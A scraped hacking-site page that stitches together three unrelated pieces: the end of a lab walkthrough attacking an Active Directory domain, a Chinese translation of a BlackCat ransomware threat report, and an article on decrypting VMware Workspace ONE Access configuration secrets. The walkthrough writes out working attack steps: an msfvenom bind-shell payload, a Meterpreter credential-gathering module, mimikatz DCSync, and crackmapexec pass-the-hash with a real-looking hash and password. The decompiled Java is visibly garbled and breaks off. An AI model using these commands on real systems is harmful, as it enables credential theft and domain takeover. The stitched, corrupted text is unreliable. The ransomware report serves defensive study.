2zkfm5vjuqc14386.png
上传数据到BloodHound，点击Analysis，查找最短到达域管理员的路径
Find Shortest Paths to Domain Admins
路径由粗到细的那边，就是xx对xx具有的权限或者说关系，所以路径如下
ky0btkpufu214388.png
从BloodHound上可以知道下一步我们需要对yuxuan这个用户动手
‍
windows自动登录
HasSession：用户与计算机时进行会话时，凭据会保留在内存中，说明yuxuan这个用户登录过WIN2019
很多用户习惯将计算机设置自动登录，可以使用MSF抓取自动登录的用户名和密码
先生成一个正向的shell
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe
然后上传到目标机器 win2019 （172.22.6.25）上运行
使用代理运行msf然后连接
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 172.22.6.25
run
gdivujtysfs14389.png
抓取自动登录的密码
meterpreter > run windows/gather/credentials/windows_autologin
da0qb5i5tck14392.png
我这里没抓到密码，做不下去了。
没办法只能看着别人的wp继续了。
抓密码得到yuxuan/Yuxuan7QbrgZ3L，ok现在我们就可以拿yuxuan登上WIN2019了
orxjhnjegta14394.png
哈希传递
HasSIDHistory：用户的SID历史记录，用户在域迁移后，票据还包含着前域所在组的SID，虽然用户不属于前域，但仍拥有前域的权限
使用yuxuan这个用户抓Administrator的哈希
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
fjynsmfpigu14396.png
smb横向WIN2019，获得第三个flag
proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
niwcnd3ogjp14398.png

原文链接： https://zhuanlan.zhihu.com/p/582525371

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
BlackCat 勒索軟件，也稱為ALPHV，是一種普遍的威脅，也是日益增長的勒索軟件即服務(RaaS) 經濟的典型代表。值得注意的是，它的非傳統編程語言(Rust)、多個目標設備和可能的入口點，以及與大量威脅活動組的關聯。雖然BlackCat 的到達和執行因部署它的攻擊者而異，但結果是相同的。即目標數據被加密，並洩露未繳納贖金用戶的隱私，及“雙重勒索”。



BlackCat 於2021 年11 月首次被發現，最初成為頭條新聞，因為它是最早用Rust 編程語言編寫的勒索軟件家族。通過使用現代語言作為其有效負載，該勒索軟件試圖逃避檢測，尤其是傳統的安全解決方案。 BlackCat 還可以針對多個設備和操作系統發起攻擊。 Microsoft 已觀察到針對Windows 和Linux 設備以及VMWare 實例的成功攻擊。



如上所述，RaaS附屬模型由多個攻擊者組成：訪問代理，他們攻擊網絡並維護持久性，開發工具的RaaS操作員，以及RaaS附屬機構，這些機構在最終發布勒索病毒之前，會進行其他活動，比如在網絡上橫向移動和竊取數據。因此，作為一個RaaS有效負載，BlackCat進入目標組織網絡的方式是不同的，這取決於部署它的RaaS附屬機構。例如，雖然這些攻擊者的常見入口向量包括遠程桌面應用程序和被攻擊的憑據，但我們也看到了一個攻擊者利用Exchange服務器漏洞來獲得目標網絡訪問。此外，至少有兩個已知的附屬公司正在採用BlackCat：DEV-0237（以前部署Ryuk、Conti 和Hive）和DEV-0504（以前部署Ryuk、REvil、BlackMatter 和Conti）。



這種變化和採用顯著增加了組織遇到BlackCat 的風險，並在檢測和防禦它方面帶來挑戰，因為這些攻擊者和組織有不同的策略、技術和程序(TTP)。因此，沒有兩個BlackCat 的部署看起來相同。



人為操作的勒索軟件攻擊（例如部署BlackCat 的那些攻擊）繼續發展，並且仍然是攻擊者通過攻擊獲利的首選方法之一。組織應考慮使用Microsoft 365 Defender 等綜合解決方案補充其安全最佳實踐和策略，該解決方案提供與各種威脅信號相關聯的保護功能，以檢測和阻止此類攻擊及其後續活動。



 1.png



BlackCat 有效負載部署選項



 2.png



BlackCat有效負載可以運行的命令列表



用戶帳戶控制(UAC) 繞過BlackCat 可以繞過UAC，這意味著即使負載從非管理員上下文中運行，它也會成功運行。如果勒索軟件沒有以管理權限運行，它會在dllhost.exe 下運行一個輔助進程，該進程具有加密系統上最大數量的文件所需的足夠權限。



域和設備枚舉勒索軟件可以確定給定係統的計算機名稱、設備上的本地驅動器以及設備上的AD 域名和用戶名。該惡意軟件還可以識別用戶是否具有域管理員權限，從而提高其勒索更多設備的能力。



自我傳播BlackCat 發現所有連接到網絡的服務器。該過程首先廣播NetBIOS 名稱服務(NBNC) 消息來檢查這些附加設備。然後，勒索軟件嘗試使用配置中指定的憑據通過PsExec 在應答服務器上複製自身。



阻礙恢復的辦法BlackCat 有許多阻礙恢復的辦法。以下是有效負載可能啟動的命令及其用途：



修改引導加載程序



 3.png



刪除卷影副本



 4.png



清除Windows 事件日誌



 5.png



識別可能導致BlackCat 勒索軟件的攻擊與RaaS 模型一致，攻擊者利用BlackCat 作為其正在進行的活動的額外負載。雖然它們的TTP 基本保持不變（例如，使用Mimikatz 和PsExec 等工具部署勒索軟件有效負載），但與BlackCat 相關的攻擊具有不同的入口向量，具體取決於進行攻擊的勒索軟件附屬機構。因此，這些攻擊的勒索步驟也可能明顯不同。



例如，部署BlackCat 的一家附屬機構利用未打補丁的Exchange 服務器或使用被盜憑據訪問目標網絡。



案例研究1：通過未打補丁的Exchange進入在此案例中，攻擊者利用未打補丁的Exchange服務器進入目標組織。



 6.png



通過Exchange漏洞利用觀察到BlackCat勒索軟件攻擊鏈



在利用Exchange漏洞時，攻擊者啟動了以下發現命令，以收集有關他們攻擊的設備信息：



Cmd.exe，ver，systeminfo ——用於收集操作系統信息；



net.exe——確定環境中的域計算機、域控制器和域管理員；



執行這些命令後，攻擊者瀏覽目錄並發現了一個密碼文件夾，該文件夾授予他們訪問帳戶憑據的權限，他們可以在攻擊的後續階段使用。他們還使用del 命令刪除與他們最初的洩露活動相關的文件。



然後，攻擊者利用網絡使用和竊取的憑證來安裝一個網絡共享，並開始使用多種方法的組合來尋找潛在的橫向移動目標。首先，他們使用之前收集的設備名稱作為節點的WMIC.exe，啟動命令whoami /all，並ping google.com以檢查網絡連接。然後，結果的輸出被寫入掛載的共享上的.log文件。其次，攻擊者使用PowerShell.exe和cmdlet Get-ADComputer以及一個過濾器來收集最後一次登錄事件。



擴大攻擊面兩天半後，攻擊者通過交互式登錄使用洩露的憑據登錄了他們在初始發現工作中發現的目標設備。他們選擇了一種憑據盜竊技術，該技術不需要刪除防病毒產品可能檢測到的Mimikatz 之類的文件。相反，他們打開了Taskmgr.exe，創建了LSASS.exe 進程的轉儲文件，並將文件保存到ZIP 壓縮文件中。



攻擊者使用ADRecon (ADRecon.ps1) 的PowerShell 腳本版本繼續他們之前的發現工作，該工具旨在收集有關Active Directory (AD) 環境的大量信息。攻擊者使用網絡掃描工具跟進此操作，該工具在服務器消息塊(SMB) 和遠程桌面協議(RDP) 上打開與組織中設備的連接。對於發現的設備，攻擊者試圖導航到各種網絡共享，並使用遠程桌面客戶端(mstsc.exe) 登錄這些設備，再次使用洩露的帳戶憑據。



這些行為持續了好幾天，攻擊者登錄整個組織的眾多設備，轉儲憑據，並確定他們可以訪問哪些設備。



竊取並公開信息在攻擊者登錄的許多設備上，他們試圖從該組織收集和竊取大量數據，包括域設置、信息和知識產權。為此，攻擊者使用了MEGAsync和Rclone，它們被重命名為合法的Windows進程名稱(例如，winlogon.exe, mstsc.exe)。



提取區域信息以識別橫向運動目標收集域信息允許攻擊者進一步進行攻擊，因為所述信息可以識別橫向移動的潛在目標，或幫助攻擊者發現勒索病毒有效負載的目標。為此，攻擊者再次使用帶有大量PowerShell cmdlet 的ADRecon.ps1，例如：



Get-ADRGPO——獲取域中的組策略對象(GPO)；



Get-ADRDNSZone——獲取域中的所有DNS 區域和記錄；



Get-ADRGPLink——獲取應用於域中管理範圍的所有組策略鏈接；



此外，攻擊者釋放並使用ADFind.exe命令來收集個人、計算機、組織單位和信任信息，並ping通數十個設備來檢查連接。



雙重勒索為了雙重勒索，攻擊者以SQL數據庫為目標，收集數據。他們還瀏覽了他們可以訪問的每個設備的目錄和項目文件夾，然後竊取了他們在這些設備中找到的數據。



贖金要求攻擊者從最初的攻擊到部署勒索軟件足足花了兩週時間，因此，有必要對警報活動進行分類和檢查，以了解攻擊者從他們的活動中獲得的賬戶和訪問範圍。使用PsExec.exe傳播勒索軟件負載被證明是最常見的攻擊方法。



 7.png



成功感染後，BlackCat顯示的贖金提示



案例研究2：通過盜竊的憑證發起攻擊在這個案例中，研究人員發現了一個勒索軟件附屬公司通過一個面向互聯網的遠程桌面服務器使用被攻擊的憑據登錄獲得了對環境的初始訪問權。



 8.png



通過被盜憑證觀察到BlackCat勒索軟件攻擊鏈



擴大攻擊面一旦攻擊者獲得對目標環境的訪問權，他們就使用SMB複製並啟動Total Deployment Software管理工具，從而允許遠程自動化軟件部署。安裝此工具後，攻擊者使用它安裝遠程桌面軟件應用程序ScreenConnect（現稱為ConnectWise）。



竊取憑據ScreenConnect用於在設備上建立遠程會話，允許攻擊者進行交互控制。在他們的控制下，攻擊者使用cmd.exe來更新註冊表，以允許通過WDigest進行明文認證，從而節省了攻擊者不需要破解密碼哈希值的時間。不久之後，他們使用任務管理器轉儲lasss .exe進程來竊取密碼，現在是明文形式。



八小時後，攻擊者重新連接到設備並再次竊取憑據。然而，這一次，他們放棄並啟動了Mimikatz 用於憑證盜竊例程，可能是因為它可以獲取存儲在LSASS.exe 之外的憑證。攻擊者隨後退出。



持久性和加密之後，攻擊者使用他們新創建的用戶帳戶登錄，並開始釋放和啟動勒索軟件有效載荷。此帳戶還將作為ScreenConnect 及其在環境中的其他立足點之外的額外持久性手段，以允許他們在需要時重新建立自己的存在。如果訪問權限未完全修復，勒索軟件攻擊者不會兩次勒索同一組織。



Chrome.exe 用於導航到託管BlackCat 有效負載的域。值得注意的是，文件夾結構包括組織名稱，表明這是專門為組織預先準備的有效負載。最後，攻擊者在設備上啟動了BlackCat 有效載荷來加密其數據。



勒索軟件附屬機構部署BlackCat除了前面討論的事件外，我們還觀察到與勒索軟件部署相關的兩個最多產的附屬組織已轉向部署BlackCat。負載切換是一些RaaS附屬公司的典型做法，以確保業務連續性或有更好的利潤可能性。不幸的是，對於組織而言，這種採用進一步增加了檢測相關威脅的挑戰。



Microsoft 將這些附屬組織命名為DEV-0237。 DEV-0237 也稱為FIN12，該組織以傳播Hive、Conti 和Ryuk 勒索軟件而聞名。研究人員觀察到，該組織從2022年3月開始將BlackCat加入了他們的分佈式有效負載清單。他們從上次使用的有效負載(Hive) 切換到BlackCat 被懷疑是由於圍繞後者解密方法的公開討論。



DEV-0504是另一個活躍的附屬組織，我們看到他們轉向BlackCat進行勒索軟件攻擊。像許多RaaS附屬組一樣，在DEV-0504攻擊中可能會觀察到以下TTP：



可能涉及附屬機構遠程登錄到憑據被攻擊的設備的入口向量，例如登錄到運行允許遠程工作的軟件解決方案的設備；



攻擊者利用他們的訪問權限對域進行發現；



可能使用初始被盜帳戶的橫向移動；



使用Mimikatz 和Rubeus 等工具竊取憑據；



DEV-0504 通常會使用StealBit 等惡意工具從組織中竊取他們入侵的設備上的數據——通常稱為“send.exe”或“sender.exe”。然後使用PsExec 傳播勒索軟件有效負載。觀察到該組織在2021 年12 月開始採用BlackCat 之前交付了以下贖金：



BlackMatter；



Conti；



LockBit 2.0；



Revil；



Ryuk；



BlackCat勒索軟件的緩解措施BlackCat勒索軟件攻擊已經變得越來越流行，因為它們通過RaaS附屬模型不斷增長的工業化和雙重勒索的增加趨勢。我們所觀察到的與“BlackCat”勒索軟件相關的事件利用了這兩個因素，使得這種威脅對傳統的安全和防禦方法來說是持久的，這些方法只專注於檢測勒索軟件的有效負載。因此，組織必須改變他們的防禦策略，以防止端到端攻擊鏈。如上所述，雖然攻擊者的入口點可能不同，但他們的TTP 基本保持不變。此外，這些類型的攻擊繼續利用組織糟糕的錯誤配置來發起攻擊。



截至目前，在觀察到的與BlackCat相關的事件中，勒索軟件附屬機構的常見入口是通過被洩露的憑證來訪問面向互聯網的遠程訪問軟件和未打補丁的Exchange服務器。因此，維護人員應該檢查其組織的身份，仔細監視外部訪問，並在其環境中找到易受攻擊的Exchange服務器，以便盡快進行更新。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x00 前言在上篇文章《VMware Workspace ONE Access漏洞调试环境搭建》 提到連接數據庫的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中，本文將要基於調試環境，分析加密流程，介紹詳細的解密方法。



0x01 簡介本文將要介紹以下內容



加密流程



解密方法



數據庫操作



0x02 加密流程1.定位關鍵文件經過一段時間的尋找，找到實現加密功能對應的文件為/opt/vmware/certproxy/lib/horizon-config-encrypter-0.15.jar



反編譯獲得加密的實現代碼如下：



publicfinalStringencrypt(byte[]data){



if(data!=nulldata.length!=0){



if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){



log.error('Nocustomencryptionkeysavailable,abortingencrypt.');



returnnull;



}else{



CipherencryptCipher=this.getEncryptCipher();



try{



if(encryptCipher!=null){



byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data));



ByteBufferkeyBuffer=ByteBuffer.allocate(2);



keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());



utf8=ArrayUtils.addAll(keyBuffer.array(),utf8);



utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});



byte[]dec=Base64.encodeBase64(utf8);



returnnewString(dec,StandardCharsets.US_ASCII);



}



}catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){



log.error(var6.getMessage(),var6);



}



returnnull;



}



}else{



returnnull;



}



}2.動態調試



為了提高分析效率，採取動態調試的方法，流程如下：



(1)新建Java工程



下載VMware Workspace ONE Accessd服務器中/opt/vmware/certproxy/lib/下的所有jar文件並保存，在Java工程導入以上jar文件



新建package：com.vmware.horizon.common.utils.config



新建文件ConfigEncrypterImpl.java，內容如下：



packagecom.vmware.horizon.common.utils.config;



importcom.google.common.annotations.VisibleForTesting;



importcom.vmware.horizon.api.ConfigEncrypter;



importcom.vmware.horizon.random.SecureRandomUtils;



importcom.vmware.horizon.security.SecurityProviderHelper;



importjava.nio.ByteBuffer;



importjava.nio.charset.Charset;



importjava.nio.charset.StandardCharsets;



importjava.security.InvalidAlgorithmParameterException;



importjava.security.InvalidKeyException;



importjava.security.NoSuchAlgorithmException;



importjava.security.SecureRandom;



importjavax.annotation.Nonnull;



importjavax.annotation.Nullable;



importjavax.crypto.BadPaddingException;



importjavax.crypto.Cipher;



importjavax.crypto.IllegalBlockSizeException;



importjavax.crypto.NoSuchPaddingException;



importjavax.crypto.SecretKey;



importjavax.crypto.spec.IvParameterSpec;



importjavax.crypto.spec.SecretKeySpec;



importorg.apache.commons.codec.binary.Base64;



importorg.apache.commons.lang3.ArrayUtils;



importorg.apache.commons.lang3.StringUtils;



importorg.bouncycastle.crypto.fips.FipsUnapprovedOperationError;



importorg.slf4j.Logger;



importorg.slf4j.LoggerFactory;



publicclassConfigEncrypterImplimplementsConfigEncrypter{



publicstaticfinalCharsetencodingCharset;



privatestaticfinalLoggerlog;



privatestaticfinalSecureRandomsrand;



privatestaticConfigEncrypterImplstaticKeyInstance;



privatestaticfinalConfigEncrypterImplrandomKeyInstance;



privatestaticfinalObjectkeyInstanceLock;



privateConfigEncrypterKeyMgmtkeyMgmt;



privatestaticConfigEncrypterImplcreateRandomKeyInstance(){



SecurityProviderHelper.initializeSecurityProvider();



returnnewConfigEncrypterImpl(false);



}



publicstaticConfigEncrypterImplgetInstance(){



synchronized(keyInstanceLock){



if(staticKeyInstance==null){



staticKeyInstance=newConfigEncrypterImpl(true);



}



returnstaticKeyInstance;



}



}



publicstaticConfigEncrypterImplgetRandomKeyInstance(){



returnrandomKeyInstance;



}



privateConfigEncrypterImpl(booleanuseStaticKey){



if(useStaticKeyBoolean.parseBoolean(ConfigPropertiesUtil.getProperties().getProperty('components.configEncrypter.kms.enable'))){



log.info('Notinitializingstaticconfigkeystore.UsingKMSforsecureconfigproperties');



this.keyMgmt=null;



}else{



this.keyMgmt=newConfigEncrypterKeyMgmt(useStaticKey);



}



}



@VisibleForTesting



ConfigEncrypterImpl(ConfigEncrypterKeyMgmtkeyMgmt){



this.keyMgmt=keyMgmt;



}



@Nullable



publicfinalStringdecrypt(Stringdata){



if(StringUtils.isBlank(data)){



returnnull;



}else{



byte[]encrypted=data.getBytes(encodingCharset);



booleanb64;



try{



b64=Base64.isBase64(encrypted);



}catch(ArrayIndexOutOfBoundsExceptionvar11){



b64=false;



}



if(b64){



encrypted=Base64.decodeBase64(encrypted);



}



if(ArrayUtils.isEmpty(encrypted)){



returnnull;



}else{



intcipherVersion=Math.abs(encrypted[0]);



CipherdecryptCipher=null;



if(cipherVersion=this.getKeyMgmt().getMinCipherVersion()cipherVersion0){



returnnewString(utf8,encodingCharset);



}



log.debug('zerolengthdecryption');



}catch(BadPaddingExceptionvar7){



log.debug('Failedtodecryptthegivenvalue(padding)');



}catch(IllegalBlockSizeExceptionvar8){



log.debug('Failedtodecryptthegivenvalue(blocksize)');



}catch(ArrayIndexOutOfBoundsExceptionvar9){



log.debug('Failedtodecryptthegivenvalue(macverification)');



}catch(IllegalStateExceptionvar10){



log.debug('Failedtodecryptthegivenvalue(illegalstate)');



}



}



returnnull;



}



}



}



@Nullable



publicfinalStringencrypt(@NonnullStringdata){



returnStringUtils.isBlank(data)?null:this.encrypt(data.getBytes(encodingCharset));



}



@Nullable



publicfinalStringencrypt(byte[]data){



if(data!=nulldata.length!=0){



if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){



log.error('Nocustomencryptionkeysavailable,abortingencrypt.');



returnnull;



}else{



CipherencryptCipher=this.getEncryptCipher();



try{



if(encryptCipher!=null){



byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data));



ByteBufferkeyBuffer=ByteBuffer.allocate(2);



keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());



utf8=ArrayUtils.addAll(keyBuffer.array(),utf8);



utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});



byte[]dec=Base64.encodeBase64(utf8);



returnnewString(dec,StandardCharsets.US_ASCII);



}



}catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){



log.error(var6.getMessage(),var6);



}



returnnull;



}



}else{



returnnull;



}



}



@Nullable



privateCiphergetDecryptCipher(intcipherVersion,byte[]decryptionKey,byte[]iv){



CipherdecryptCipher=null;



if(!ArrayUtils.isEmpty(iv)){



try{



decryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(cipherVersion),SecurityProviderHelper.getJceProvider());



IvParameterSpecivSpec=newIvParameterSpec(ArrayUtils.subarray(iv,0,this.getKeyMgmt().getCipherNonceSize(cipherVersion,decryptCipher.getBlockSize())));



SecretKeysecret=newSecretKeySpec(decryptionKey,this.getKeyMgmt().getCipher(cipherVersion));



decryptCipher.init(2,secret,ivSpec,srand);



}catch(InvalidAlgorithmParameterException|InvalidKeyException|NoSuchAlgorithmException|NoSuchPaddingException|IllegalArgumentException|FipsUnapprovedOperationErrorvar7){



log.error(var7.getMessage(),var7);



decryptCipher=null;



}



}



returndecryptCipher;



}



@Nullable



privateCiphergetEncryptCipher(){



CipherencryptCipher=null;



try{



encryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(),SecurityProviderHelper.getJceProvider());



byte[]iv=newbyte[this.getKeyMgmt().getCipherNonceSize(encryptCipher.getBlockSize())];



srand.nextBytes(iv);



SecretKeysecret=newSecretKeySpec(this.getKeyMgmt().getKey(),this.getKeyMgmt().getCipher());



IvParameterSpecivSpec=newIvParameterSpec(iv);



encryptCipher.init(1,secret,ivSpec,srand);



}catch(InvalidAlgorithmParameterException|IllegalArgumentException|NoSuchPaddingException|NoSuchAlgorithmException|InvalidKeyException|FipsUnapprovedOperationErrorvar5){



log.error(var5.getMessage(),var5);



}



returnencryptCipher;



}



@VisibleForTesting



ConfigEncrypterKeyMgmtgetKeyMgmt(){



returnthis.keyMgmt;



}



@VisibleForTesting



publicvoidsetCustomEncryptionKeyst